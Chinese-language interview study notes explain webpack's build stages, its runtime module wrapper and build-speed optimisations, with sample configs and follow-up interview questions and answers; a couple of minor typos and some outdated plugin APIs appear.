  1. 读取配置文件,按命令 初始化 配置参数,创建 Compiler 对象;
  2. 调用插件的 apply 方法 挂载插件 监听,然后从入口文件开始执行编译;
  3. 按文件类型,调用相应的 Loader 对模块进行 编译,并在合适的时机点触发对应的事件,调用 Plugin 执行,最后再根据模块 依赖查找 到所依赖的模块,递归执行第三步;
  4. 将编译后的所有代码包装成一个个代码块 (Chunk), 并按依赖和配置确定 输出内容。这个步骤,仍然可以通过 Plugin 进行文件的修改;
  5. 最后,根据 Output 把文件内容一一写入到指定的文件夹中,完成整个过程;

1.3 模块包装

(function(modules) {
	// 模拟 require 函数,从内存中加载模块;
	function __webpack_require__(moduleId) {
		// 缓存模块
		if (installedModules[moduleId]) {
			return installedModules[moduleId].exports;
		}
		
		var module = installedModules[moduleId] = {
			i: moduleId,
			l: false,
			exports: {}
		};
		
		// 执行代码;
		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
		
		// Flag: 标记是否加载完成;
		module.l = true;
		
		return module.exports;
	}
	
	// ...
	
	// 开始执行加载入口文件;
	return __webpack_require__(__webpack_require__.s = "./src/index.js");
 })({
 	"./src/index.js": function (module, __webpack_exports__, __webpack_require__) {
		// 使用 eval 执行编译后的代码;
		// 继续递归引用模块内部依赖;
		// 实际情况并不是使用模板字符串,这里是为了代码的可读性;
		eval(`
			__webpack_require__.r(__webpack_exports__);
			//
			var _test__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("test", ./src/test.js");
		`);
	},
	"./src/test.js": function (module, __webpack_exports__, __webpack_require__) {
		// ...
	},
 })

总结:

  • 模块机制: webpack自己实现了一套模拟模块的机制,将其包裹于业务代码的外部,从而提供了一套模块机制;
  • 文件编译: webpack规定了一套编译规则,通过 Loader 和 Plugin,以管道的形式对文件字符串进行处理;

1.4 webpack的打包原理

  • 初始化参数:从配置文件和 Shell 语句中读取与合并参数,得出最终的参数
  • 开始编译:用上一步得到的参数初始化 Compiler 对象,加载所有配置的插件,执行对象的 run 方法开始执行编译
  • 确定入口:根据配置中的 entry 找出所有的入口文件
  • 编译模块:从入口文件出发,调用所有配置的 Loader 对模块进行翻译,再找出该模块依赖的模块,再递归本步骤直到所有入口依赖的文件都经过了本步骤的处理
  • 完成模块编译:在经过第4步使用 Loader 翻译完所有模块后,得到了每个模块被翻译后的最终内容以及它们之间的依赖关系
  • 输出资源:根据入口和模块之间的依赖关系,组装成一个个包含多个模块的 Chunk,再把每个 Chunk 转换成一个单独的文件加入到输出列表,这步是可以修改输出内容的最后机会
  • 输出完成:在确定好输出内容后,根据配置确定输出的路径和文件名,把文件内容写入到文件系统

1.5 webpack的打包原理详细

相关问题

  • webpack 工作流程是怎样的
  • webpack 在不同阶段做了什么事情

webpack 是一种模块打包工具,可以将各类型的资源,例如图片、CSS、JS 等,转译组合为 JS 格式的 bundle 文件

webpack 构建的核心任务是完成内容转化和资源合并。主要包含以下 3 个阶段:

  1. 初始化阶段
  • 初始化参数:从配置文件、配置对象和 Shell 参数中读取并与默认参数进行合并,组合成最终使用的参数
  • 创建编译对象:用上一步得到的参数创建 Compiler 对象。
  • 初始化编译环境:包括注入内置插件、注册各种模块工厂、初始化 RuleSet 集合、加载配置的插件等
  1. 构建阶段
  • 开始编译:执行 Compiler 对象的 run 方法,创建 Compilation 对象。
  • 确认编译入口:进入 entryOption 阶段,读取配置的 Entries,递归遍历所有的入口文件,调用 Compilation.addEntry 将入口文件转换为 Dependency 对象。
  • 编译模块(make): 调用 normalModule 中的 build 开启构建,从 entry 文件开始,调用 loader 对模块进行转译处理,然后调用 JS 解释器(acorn)将内容转化为 AST 对象,然后递归分析依赖,依次处理全部文件。
  • 完成模块编译:在上一步处理好所有模块后,得到模块编译产物和依赖关系图
  1. 生成阶段
  • 输出资源(seal):根据入口和模块之间的依赖关系,组装成多个包含多个模块的 Chunk,再把每个 Chunk 转换成一个 Asset 加入到输出列表,这步是可以修改输出内容的最后机会。
  • 写入文件系统(emitAssets):确定好输出内容后,根据配置的 output 将内容写入文件系统

知识点深入

1. webpack 初始化过程

从 webpack 项目 webpack.config.js 文件 webpack 方法出发,可以看到初始化过程如下:

  • 将命令行参数和用户的配置文件进行合并
  • 调用 getValidateSchema 对配置进行校验
  • 调用 createCompiler 创建 Compiler 对象
    • 将用户配置和默认配置进行合并处理
    • 实例化 Compiler
    • 实例化 NodeEnvironmentPlugin
    • 处理用户配置的 plugins,执行 plugin 的 apply 方法。
    • 触发 environment 和 afterEnvironment 上注册的事件。
    • 注册 webpack 内部插件。
    • 触发 initialize 事件
// lib/webpack.js 122 行 部分代码省略处理
const create = () => {
  if (!webpackOptionsSchemaCheck(options)) {
    // 校验参数
    getValidateSchema()(webpackOptionsSchema, options);
  }
  // 创建 compiler 对象
  compiler = createCompiler(webpackOptions);
};

// lib/webpack.js 57 行
const createCompiler = (rawOptions) => {
  // 统一合并处理参数
  const options = getNormalizedWebpackOptions(rawOptions);
  applyWebpackOptionsBaseDefaults(options);
  // 实例化 compiler
  const compiler = new Compiler(options.context);
  // 把 options 挂载到对象上
  compiler.options = options;
  // NodeEnvironmentPlugin 是对 fs 模块的封装,用来处理文件输入输出等
  new NodeEnvironmentPlugin({
    infrastructureLogging: options.infrastructureLogging,
  }).apply(compiler);
  // 注册用户配置插件
  if (Array.isArray(options.plugins)) {
    for (const plugin of options.plugins) {
      if (typeof plugin === "function") {
        plugin.call(compiler, compiler);
      } else {
        plugin.apply(compiler);
      }
    }
  }
  applyWebpackOptionsDefaults(options);
  // 触发 environment 和 afterEnvironment 上注册的事件
  compiler.hooks.environment.call();
  compiler.hooks.afterEnvironment.call();
  // 注册 webpack 内置插件
  new WebpackOptionsApply().process(options, compiler);
  compiler.hooks.initialize.call();
  return compiler;
};

2. webpack 构建阶段做了什么

在 webpack 函数执行完之后,就到主要的构建阶段,首先执行 compiler.run(),然后触发一系列钩子函数,执行 compiler.compile()

  • 在实例化 compiler 之后,执行 compiler.run()
  • 执行 newCompilation 函数,调用 createCompilation 初始化 Compilation 对象
  • 执行 _addEntryItem 将入口文件存入 this.entries(map 对象),遍历 this.entries 对象构建 chunk。
  • 执行 handleModuleCreation,开始创建模块实例。
  • 执行 moduleFactory.create 创建模块
    • 执行 factory.hooks.factorize.call 钩子,然后会调用 ExternalModuleFactoryPlugin 中注册的钩子,用于配置外部文件的模块加载方式
    • 使用 enhanced-resolve 解析模块和 loader 的真实绝对路径
    • 执行 new NormalModule() 创建 module 实例
  • 执行 addModule,存储 module
  • 执行 buildModule,添加模块到模块队列 buildQueue,开始构建模块, 这里会调用 normalModule 中的 build 开启构建
    • 创建 loader 上下文。
    • 执行 runLoaders,通过 enhanced-resolve 解析得到的模块和 loader 的路径获取函数,执行 loader。
    • 生成模块的 hash
  • 所有依赖都解析完毕后,构建阶段结束
  // 构建过程涉及流程比较复杂,代码会做省略

  // lib/webpack.js 1284行
  // 开启编译流程
  compiler.run((err, stats) => {
    compiler.close(err2 => {
      callback(err || err2, stats);
    });
  });

  // lib/compiler.js 1081行
  // 开启编译流程
  compile(callback) {
    const params = this.newCompilationParams();
    // 创建 Compilation 对象
    const Compilation = this.newCompilation(params);
  }

  // lib/Compilation.js 1865行
  // 确认入口文件
  addEntry() {
    this._addEntryItem();
  }

  // lib/Compilation.js 1834行
  // 开始创建模块流程,创建模块实例
  addModuleTree() {
    this.handleModuleCreation()
  }

  // lib/Compilation.js 1548行
  // 开始创建模块流程,创建模块实例
  handleModuleCreation() {
    this.factorizeModule()
  }

  // lib/Compilation.js 1712行
  // 添加到创建模块队列,执行创建模块
  factorizeModule(options, callback) {
    this.factorizeQueue.add(options, callback);
  }

  // lib/Compilation.js 1834行
  // 保存需要构建模块
  _addModule(module, callback) {
    this.modules.add(module);
  }

  // lib/Compilation.js 1284行
  // 添加模块进模块编译队列,开始编译
  buildModule(module, callback) {
    this.buildQueue.add(module, callback);
  }

3. webpack 生成阶段做了什么

构建阶段围绕 module 展开,生成阶段则围绕 chunks 展开。经过构建阶段之后,webpack 得到足够的模块内容与模块关系信息,之后通过 Compilation.seal 函数生成最终资源

3.1 生成产物

执行 Compilation.seal 进行产物的封装

  • 构建本次编译的 ChunkGraph 对象,执行 buildChunkGraph,这里会将 import()、require.ensure 等方法生成的动态模块添加到 chunks 中
  • 遍历 Compilation.modules 集合,将 module 按 entry/动态引入 的规则分配给不同的 Chunk 对象。
  • 调用 Compilation.emitAssets 方法将 assets 信息记录到 Compilation.assets 对象中。
  • 执行 hooks.optimizeChunkModules 的钩子,这里开始进行代码生成和封装。
    • 执行一系列钩子函数(reviveModules, moduleId, optimizeChunkIds 等)
    • 执行 createModuleHashes 更新模块 hash
    • 执行 JavascriptGenerator 生成模块代码,这里会遍历 modules,创建构建任务,循环使用 JavascriptGenerator 构建代码,这时会将 import 等模块引入方式替换为 webpack_require 等,并将生成结果存入缓存
    • 执行 processRuntimeRequirements,根据生成的内容所使用到的 webpack_require 的函数,添加对应的代码
    • 执行 createHash 创建 chunk 的 hash
    • 执行 clearAssets 清除 chunk 的 files 和 auxiliary,这里缓存的是生成的 chunk 的文件名,主要是清除上次构建产生的废弃内容

3.2 文件输出

回到 Compiler 的流程中,执行 onCompiled 回调。

  • 触发 shouldEmit 钩子函数,这里是最后能优化产物的钩子。
  • 遍历 module 集合,根据 entry 配置及引入资源的方式,将 module 分配到不同的 chunk。
  • 遍历 chunk 集合,调用 Compilation.emitAsset 方法标记 chunk 的输出规则,即转化为 assets 集合。
  • 写入本地文件,用的是 webpack 函数执行时初始化的文件流工具。
  • 执行 done 钩子函数,这里会执行 compiler.run() 的回调,再执行 compiler.close(),然后执行持久化存储(前提是使用的 filesystem 缓存模式)

1.6 总结

  1. 初始化参数:从配置文件和 Shell 语句中读取并合并参数,得出最终的配置参数。
  2. 开始编译:从上一步得到的参数初始化 Compiler 对象,加载所有配置的插件,执行对象的 run 方法开始执行编译。
  3. 确定入口:根scope据配置中的 entry 找出所有的入口文件。
  4. 编译模块:从入口文件出发,调用所有配置的 loader 对模块进行翻译,再找出该模块依赖的模块,这个步骤是递归执行的,直至所有入口依赖的模块文件都经过本步骤的处理。
  5. 完成模块编译:经过第 4 步使用 loader 翻译完所有模块后,得到了每个模块被翻译后的最终内容以及它们之间的依赖关系。
  6. 输出资源:根据入口和模块之间的依赖关系,组装成一个个包含多个模块的 chunk,再把每个 chunk 转换成一个单独的文件加入到输出列表,这一步是可以修改输出内容的最后机会。
  7. 输出完成:在确定好输出内容后,根据配置确定输出的路径和文件名,把文件内容写入到文件系统。

💬 面试官追问

  • 候选人说 webpack 只是把所有 JavaScript 拼成一个文件,但项目同时处理图片、CSS 和动态 import();你会要求他怎样修正这套解释?

    webpack 从 entry 出发分析模块依赖,任何受配置处理的文件都可成为模块,Loader 负责转换不同类型内容。模块最终按入口、动态引入和配置组织为一个或多个 chunk 与资源,而不是简单字符串拼接;具体输出数量取决于依赖图和拆分规则。

  • 你要给构建系统写一个插件,在输出文件写盘前修改资源内容;它应介入 Loader 转换阶段还是生成阶段,依据是什么?

    修改最终资源应介入围绕 chunk 和 asset 展开的生成阶段,因为模块转换完成后,Compilation.seal 才会根据依赖关系组织产物。Loader 面向单个模块内容的加载与转译;若过早处理,拿不到完整输出关系,过晚到写盘之后又失去正常产物修改机会。

  • 一个包含多个入口和大量动态加载模块的应用构建时内存暴涨,你会沿 Compiler、Compilation、模块图和 ChunkGraph 哪条路径排查?

    先确认 Compiler.run() 创建本次 Compilation 后,模块创建与构建队列是否因异常依赖或重复解析持续增长,再检查依赖图完成后生成 ChunkGraph 的规模。构建阶段围绕模块展开,生成阶段围绕 chunk 展开;只盯最终文件数可能看不到前面已经膨胀的模块关系。

  • 某个自定义 Loader 转译后代码能生成,但运行时提示依赖模块不存在;你会在构建流程的哪些节点查证丢失发生在哪里?

    先检查 Loader 输出是否保留了可被 JavaScript 解析器识别的依赖表达式,再检查 AST 分析是否生成对应依赖并递归创建模块。随后核对模块是否进入依赖图及所属 chunk;若转换阶段已破坏依赖信息,调整输出或拆包配置都无法补回该模块。

  • 构建平台负责人想用 Loader 实现资源清单,业务负责人主张写 Plugin;如果清单必须汇总所有入口和最终文件名,你支持哪一方?

    应使用 Plugin,因为资源清单依赖完整的 chunk、asset 和最终命名信息,需要在生成产物的相应钩子中汇总。Loader 一次处理单个模块字符串,既看不到全局入口关系,也无法可靠获知最终输出;代价是插件必须选择正确生命周期并处理多次编译。

  • 浏览器首次执行 bundle 时,同一模块被多个业务模块引用却只初始化一次;这和 webpack 的构建依赖图、运行时模块包装分别有什么关系?

    构建时 webpack 根据入口递归分析依赖并把模块组织进相应 chunk,输出时再注入自己的模块加载机制。运行时的 __webpack_require__ 会先检查模块缓存,首次执行后保存 exports,后续引用直接复用;拆成异步 chunk 后还涉及资源加载,但模块缓存语义仍是关键。

# webpack性能优化-构建速度

⚡ 30 秒速记

  • 先分析遇到哪些问题,在配合下面的方法优化,不要上来就回答,让人觉得背面试题

优化 webpack 构建速度要先定位耗时,再从减少处理量、复用结果和并行执行几个方向下手。 我一般先给 babel-loader 开缓存,并用 include、exclude、noParse 或 IgnorePlugin 避免处理无关内容。项目足够大且多核资源充足时,可以用 HappyPack 或 ParallelUglifyPlugin 并行转换、压缩;小项目反而可能被进程开销拖慢。开发环境还可用 HMR 保留页面状态,稳定的大型依赖则可通过 DllPlugin 预先构建。

先分析遇到哪些问题,在配合下面的方法优化,不要上来就回答,让人觉得背面试题

  • 优化babel-loader缓存
  • IgnorePlugin 忽略某些包,避免引入无用模块(直接不引入,需要在代码中引入)
    • import moment from 'moment'
    • 默认会引入所有语言JS代码,代码过大
    import moment from 'moment'
    moment.locale('zh-cn') // 设置语言为中文
    
    // 手动引入中文语言包
    import 'moment/locale/zh-cn'
    
    // webpack.prod.js
    pluins: [
        // 忽略 moment 下的 /locale 目录
        new webpack.IgnorePlugin(/\.\/locale/, /moment/),
    ]
    
  • noParse 避免重复打包(引入但不打包)
  • happyPack多线程打包
    • JS单线程的,开启多进程打包
    • 提高构建速度(特别是多核CPU)
      // webpack.prod.js
      const HappyPack = require('happypack')
    
      {
          module: {
              rules: [
                  // js
                  {
                      test: /\.js$/,
                      // 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
                      use: ['happypack/loader?id=babel'],
                      include: srcPath,
                      // exclude: /node_modules/
                  },
              ]
          },
          plugins: [
              // happyPack 开启多进程打包
              new HappyPack({
                  // 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
                  id: 'babel',
                  // 如何处理 .js 文件,用法和 Loader 配置中一样
                  loaders: ['babel-loader?cacheDirectory']
              }),
          ]
      }
    
  • parallelUglifyPlugin多进程压缩JS
    • 关于多进程
      • 项目较大,打包较慢,开启多进程能提高速度
      • 项目较小,打包很快,开启多进程反而会降低速度(进程开销)
      • 按需使用
      // webpack.prod.js
      const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
      
      {
          plugins: [
              // 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
              new ParallelUglifyPlugin({
                  // 传递给 UglifyJS 的参数
                  // (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
                  uglifyJS: {
                      output: {
                          beautify: false, // 最紧凑的输出
                          comments: false, // 删除所有的注释
                      },
                      compress: {
                          // 删除所有的 `console` 语句,可以兼容ie浏览器
                          drop_console: true,
                          // 内嵌定义了但是只用到一次的变量
                          collapse_vars: true,
                          // 提取出出现多次但是没有定义成变量去引用的静态值
                          reduce_vars: true,
                      }
                  }
              })
          ]
      }
      
  • 自动刷新(开发环境)使用dev-server即可
  • 热更新(开发环境)
    • 自动刷新:整个网页全部刷新,速度较慢,状态会丢失

    • 热更新:新代码生效,网页不刷新,状态不丢失

      // webpack.dev.js
      const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');
      
      entry: {
          // index: path.join(srcPath, 'index.js'),
          index: [
              'webpack-dev-server/client?http://localhost:8080/',
              'webpack/hot/dev-server',
              path.join(srcPath, 'index.js')
          ],
          other: path.join(srcPath, 'other.js')
      },
      devServer: {
          hot: true
      },
      plugins: [
          new HotModuleReplacementPlugin()
      ],
      
      // 代码中index.js
      
      // 增加,开启热更新之后的代码逻辑
      if (module.hot) {
          // 注册哪些模块需要热更新
          module.hot.accept(['./math'], () => {
              const sumRes = sum(10, 30)
              console.log('sumRes in hot', sumRes)
          })
      }
      
  • DllPlugin 动态链接库(dllPlugin只适用于开发环境,因为生产环境下打包一次就完了,没有必要用于生产环境)
    • 前端框架如react、vue体积大,构建慢

    • 较稳定,不常升级版本,同一个版本只构建一次,不用每次都重新构建

    • webpack已内置DllPlugin,不需要安装

    • DllPlugin打包出dll文件

    • DllReferencePlugin引用dll文件

      // webpack.common.js
      const path = require('path')
      const HtmlWebpackPlugin = require('html-webpack-plugin')
      const { srcPath, distPath } = require('./paths')
      
      module.exports = {
          entry: path.join(srcPath, 'index'),
          module: {
              rules: [
                  {
                      test: /\.js$/,
                      use: ['babel-loader'],
                      include: srcPath,
                      exclude: /node_modules/
                  },
              ]
          },
          plugins: [
              new HtmlWebpackPlugin({
                  template: path.join(srcPath, 'index.html'),
                  filename: 'index.html'
              })
          ]
      }
      
      // webpack.dev.js
      const path = require('path')
      const webpack = require('webpack')
      const { merge } = require('webpack-merge')
      const webpackCommonConf = require('./webpack.common.js')
      const { srcPath, distPath } = require('./paths')
      
      // 第一,引入 DllReferencePlugin
      const DllReferencePlugin = require('webpack/lib/DllReferencePlugin');
      
      module.exports = merge(webpackCommonConf, {
          mode: 'development',
          module: {
              rules: [
                  {
                      test: /\.js$/,
                      use: ['babel-loader'],
                      include: srcPath,
                      exclude: /node_modules/ // 第二,不要再转换 node_modules 的代码
                  },
              ]
          },
          plugins: [
              new webpack.DefinePlugin({
                  // window.ENV = 'production'
                  ENV: JSON.stringify('development')
              }),
              // 第三,告诉 Webpack 使用了哪些动态链接库
              new DllReferencePlugin({
                  // 描述 react 动态链接库的文件内容
                  manifest: require(path.join(distPath, 'react.manifest.json')),
              }),
          ],
          devServer: {
              port: 8080,
              progress: true,  // 显示打包的进度条
              contentBase: distPath,  // 根目录
              open: true,  // 自动打开浏览器
              compress: true,  // 启动 gzip 压缩
      
              // 设置代理
              proxy: {
                  // 将本地 /api/xxx 代理到 localhost:3000/api/xxx
                  '/api': 'http://localhost:3000',
      
                  // 将本地 /api2/xxx 代理到 localhost:3000/xxx
                  '/api2': {
                      target: 'http://localhost:3000',
                      pathRewrite: {
                          '/api2': ''
                      }
                  }
              }
          }
      })
      
      // webpack.prod.js
      const path = require('path')
      const webpack = require('webpack')
      const webpackCommonConf = require('./webpack.common.js')
      const { merge } = require('webpack-merge')
      const { srcPath, distPath } = require('./paths')
      
      module.exports = merge(webpackCommonConf, {
          mode: 'production',
          output: {
              filename: 'bundle.[contenthash:8].js',  // 打包代码时,加上 hash 戳
              path: distPath,
              // publicPath: 'http://cdn.abc.com'  // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
          },
          plugins: [
              new webpack.DefinePlugin({
                  // window.ENV = 'production'
                  ENV: JSON.stringify('production')
              })
          ]
      })
      
      // webpack.dll.js
      
      const path = require('path')
      const DllPlugin = require('webpack/lib/DllPlugin')
      const { srcPath, distPath } = require('./paths')
      
      module.exports = {
      mode: 'development',
      // JS 执行入口文件
      entry: {
          // 把 React 相关模块的放到一个单独的动态链接库
          react: ['react', 'react-dom']
      },
      output: {
          // 输出的动态链接库的文件名称,[name] 代表当前动态链接库的名称,
          // 也就是 entry 中配置的 react 和 polyfill
          filename: '[name].dll.js',
          // 输出的文件都放到 dist 目录下
          path: distPath,
          // 存放动态链接库的全局变量名称,例如对应 react 来说就是 _dll_react
          // 之所以在前面加上 _dll_ 是为了防止全局变量冲突
          library: '_dll_[name]',
      },
      plugins: [
          // 接入 DllPlugin
          new DllPlugin({
          // 动态链接库的全局变量名称,需要和 output.library 中保持一致
          // 该字段的值也就是输出的 manifest.json 文件 中 name 字段的值
          // 例如 react.manifest.json 中就有 "name": "_dll_react"
          name: '_dll_[name]',
          // 描述动态链接库的 manifest.json 文件输出时的文件名称
          path: path.join(distPath, '[name].manifest.json'),
          }),
      ],
      }
      
      "scripts": {
          "dev": "webpack serve --config build/webpack.dev.js",
          "dll": "webpack --config build/webpack.dll.js"
      },
      

优化打包速度完整代码

// webpack.common.js

const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { srcPath, distPath } = require('./paths')

module.exports = {
    entry: {
        index: path.join(srcPath, 'index.js'),
        other: path.join(srcPath, 'other.js')
    },
    module: {
        rules: [
            // babel-loader
        ]
    },
    plugins: [
        // new HtmlWebpackPlugin({
        //     template: path.join(srcPath, 'index.html'),
        //     filename: 'index.html'
        // })

        // 多入口 - 生成 index.html
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'index.html'),
            filename: 'index.html',
            // chunks 表示该页面要引用哪些 chunk (即上面的 index 和 other),默认全部引用
            chunks: ['index', 'vendor', 'common']  // 要考虑代码分割
        }),
        // 多入口 - 生成 other.html
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'other.html'),
            filename: 'other.html',
            chunks: ['other', 'vendor', 'common']  // 考虑代码分割
        })
    ]
}
// webpack.dev.js
const path = require('path')
const webpack = require('webpack')
const webpackCommonConf = require('./webpack.common.js')
const { smart } = require('webpack-merge')
const { srcPath, distPath } = require('./paths')
const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');

module.exports = smart(webpackCommonConf, {
    mode: 'development',
    entry: {
        // index: path.join(srcPath, 'index.js'),
        index: [
            'webpack-dev-server/client?http://localhost:8080/',
            'webpack/hot/dev-server',
            path.join(srcPath, 'index.js')
        ],
        other: path.join(srcPath, 'other.js')
    },
    module: {
        rules: [
            {
                test: /\.js$/,
                loader: ['babel-loader?cacheDirectory'],
                include: srcPath,
                // exclude: /node_modules/
            },
            // 直接引入图片 url
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: 'file-loader'
            },
            // {
            //     test: /\.css$/,
            //     // loader 的执行顺序是:从后往前
            //     loader: ['style-loader', 'css-loader']
            // },
            {
                test: /\.css$/,
                // loader 的执行顺序是:从后往前
                loader: ['style-loader', 'css-loader', 'postcss-loader'] // 加了 postcss
            },
            {
                test: /\.less$/,
                // 增加 'less-loader' ,注意顺序
                loader: ['style-loader', 'css-loader', 'less-loader']
            }
        ]
    },
    plugins: [
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('development')
        }),
        new HotModuleReplacementPlugin()
    ],
    devServer: {
        port: 8080,
        progress: true,  // 显示打包的进度条
        contentBase: distPath,  // 根目录
        open: true,  // 自动打开浏览器
        compress: true,  // 启动 gzip 压缩

        hot: true,

        // 设置代理
        proxy: {
            // 将本地 /api/xxx 代理到 localhost:3000/api/xxx
            '/api': 'http://localhost:3000',

            // 将本地 /api2/xxx 代理到 localhost:3000/xxx
            '/api2': {
                target: 'http://localhost:3000',
                pathRewrite: {
                    '/api2': ''
                }
            }
        }
    },
    // watch: true, // 开启监听,默认为 false
    // watchOptions: {
    //     ignored: /node_modules/, // 忽略哪些
    //     // 监听到变化发生后会等300ms再去执行动作,防止文件更新太快导致重新编译频率太高
    //     // 默认为 300ms
    //     aggregateTimeout: 300,
    //     // 判断文件是否发生变化是通过不停的去询问系统指定文件有没有变化实现的
    //     // 默认每隔1000毫秒询问一次
    //     poll: 1000
    // }
})
// webpack.prod.js
const path = require('path')
const webpack = require('webpack')
const { smart } = require('webpack-merge')
const { CleanWebpackPlugin } = require('clean-webpack-plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
const TerserJSPlugin = require('terser-webpack-plugin')
const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin')
const HappyPack = require('happypack')
const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
const webpackCommonConf = require('./webpack.common.js')
const { srcPath, distPath } = require('./paths')

module.exports = smart(webpackCommonConf, {
    mode: 'production',
    output: {
        // filename: 'bundle.[contentHash:8].js',  // 打包代码时,加上 hash 戳
        filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
        path: distPath,
        // publicPath: 'http://cdn.abc.com'  // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
    },
    module: {
        rules: [
            // js
            {
                test: /\.js$/,
                // 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
                use: ['happypack/loader?id=babel'],
                include: srcPath,
                // exclude: /node_modules/
            },
            // 图片 - 考虑 base64 编码的情况
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: {
                    loader: 'url-loader',
                    options: {
                        // 小于 5kb 的图片用 base64 格式产出
                        // 否则,依然延用 file-loader 的形式,产出 url 格式
                        limit: 5 * 1024,

                        // 打包到 img 目录下
                        outputPath: '/img1/',

                        // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
                        // publicPath: 'http://cdn.abc.com'
                    }
                }
            },
            // 抽离 css
            {
                test: /\.css$/,
                loader: [
                    MiniCssExtractPlugin.loader,  // 注意,这里不再用 style-loader
                    'css-loader',
                    'postcss-loader'
                ]
            },
            // 抽离 less
            {
                test: /\.less$/,
                loader: [
                    MiniCssExtractPlugin.loader,  // 注意,这里不再用 style-loader
                    'css-loader',
                    'less-loader',
                    'postcss-loader'
                ]
            }
        ]
    },
    plugins: [
        new CleanWebpackPlugin(), // 会默认清空 output.path 文件夹
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('production')
        }),

        // 抽离 css 文件
        new MiniCssExtractPlugin({
            filename: 'css/main.[contentHash:8].css'
        }),

        // 忽略 moment 下的 /locale 目录
        new webpack.IgnorePlugin(/\.\/locale/, /moment/),

        // happyPack 开启多进程打包
        new HappyPack({
            // 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
            id: 'babel',
            // 如何处理 .js 文件,用法和 Loader 配置中一样
            loaders: ['babel-loader?cacheDirectory']
        }),

        // 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
        new ParallelUglifyPlugin({
            // 传递给 UglifyJS 的参数
            // (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
            uglifyJS: {
                output: {
                    beautify: false, // 最紧凑的输出
                    comments: false, // 删除所有的注释
                },
                compress: {
                    // 删除所有的 `console` 语句,可以兼容ie浏览器
                    drop_console: true,
                    // 内嵌定义了但是只用到一次的变量
                    collapse_vars: true,
                    // 提取出出现多次但是没有定义成变量去引用的静态值
                    reduce_vars: true,
                }
            }
        })
    ],

    optimization: {
        // 压缩 css
        minimizer: [new TerserJSPlugin({}), new OptimizeCSSAssetsPlugin({})],

        // 分割代码块
        splitChunks: {
            chunks: 'all',
            /**
             * initial 入口chunk,对于异步导入的文件不处理
                async 异步chunk,只对异步导入的文件处理
                all 全部chunk
             */

            // 缓存分组
            cacheGroups: {
                // 第三方模块
                vendor: {
                    name: 'vendor', // chunk 名称
                    priority: 1, // 权限更高,优先抽离,重要!!!
                    test: /node_modules/,
                    minSize: 0,  // 大小限制
                    minChunks: 1  // 最少复用过几次
                },

                // 公共的模块
                common: {
                    name: 'common', // chunk 名称
                    priority: 0, // 优先级
                    minSize: 0,  // 公共模块的大小限制
                    minChunks: 2  // 公共模块最少复用过几次
                }
            }
        }
    }
})

💬 面试官追问

  • 一个只有几十个业务模块的后台页面,构建原本已经很快,同事仍要求接入 HappyPack 和并行压缩,你会同意吗?

    不会直接同意,多进程存在启动、通信和任务分发开销,小项目接入后反而可能更慢。应先拆分 loader 转换、代码压缩等阶段的耗时,再用相同环境重复构建对比;任务量不足时保留单进程更合适。

  • 一个数千模块的管理平台每次改动都重新执行 Babel 转换,你会怎样落地构建提速并证明缓存生效?

    会先将 babel-loader 限定到业务源码目录,并启用 cacheDirectory,避免转换无关文件及重复处理未变化源码。随后分别记录冷构建与二次构建耗时,并检查缓存目录是否生成;缓存键频繁失效时还要排查配置和依赖变化。

  • 开发环境里 React 和 ReactDOM 很少升级,但业务代码每天频繁编译,团队在 DllPlugin 与每次完整构建之间争执,你怎么选?

    在该前提下可把稳定框架预先构建为 dll,再由 DllReferencePlugin 和对应 manifest 引用,减少日常重复构建。它更适合开发环境,依赖升级后必须重新生成并确保页面加载产物;生产环境只构建一次,通常没有同等收益。

  • 接入 IgnorePlugin 后构建更快、产物更小,但日期页面的中文月份突然显示异常,你会从哪里排查?

    先确认是否忽略了 moment 的整个 locale 目录,却没有在业务入口手动导入 moment/locale/zh-cn。IgnorePlugin 是阻止模块进入构建,不会自动保留当前语言;修复后还应验证默认语言、按需语言和生产构建,防止功能随优化一起被裁掉。

  • 报表项目的压缩阶段占据大部分构建时间,CI 是多核机器,但本地开发机资源紧张,你会统一启用 ParallelUglifyPlugin 吗?

    不会把同一策略无条件套到所有环境,可在大型生产构建或多核 CI 中验证并行压缩收益,而开发环境避免承担额外进程开销。决策依据应是压缩阶段是否构成瓶颈以及任务规模;并行度过高还可能争抢内存和 CPU。

  • 开发者说保存文件后浏览器会自动刷新,因此已经实现了热更新,但表单状态每次都丢失,你如何判断配置缺了什么?

    这只是 dev-server 的自动刷新效果,不等于 HMR,整页重载自然会清空页面状态。应检查 hot: true、HotModuleReplacementPlugin 及模块接受逻辑是否存在;没有可接受边界时,即使开启热更新也可能退化为刷新。

# webpack性能优化-产出代码(线上运行)

⚡ 30 秒速记

  • 合理分包,不重复加载

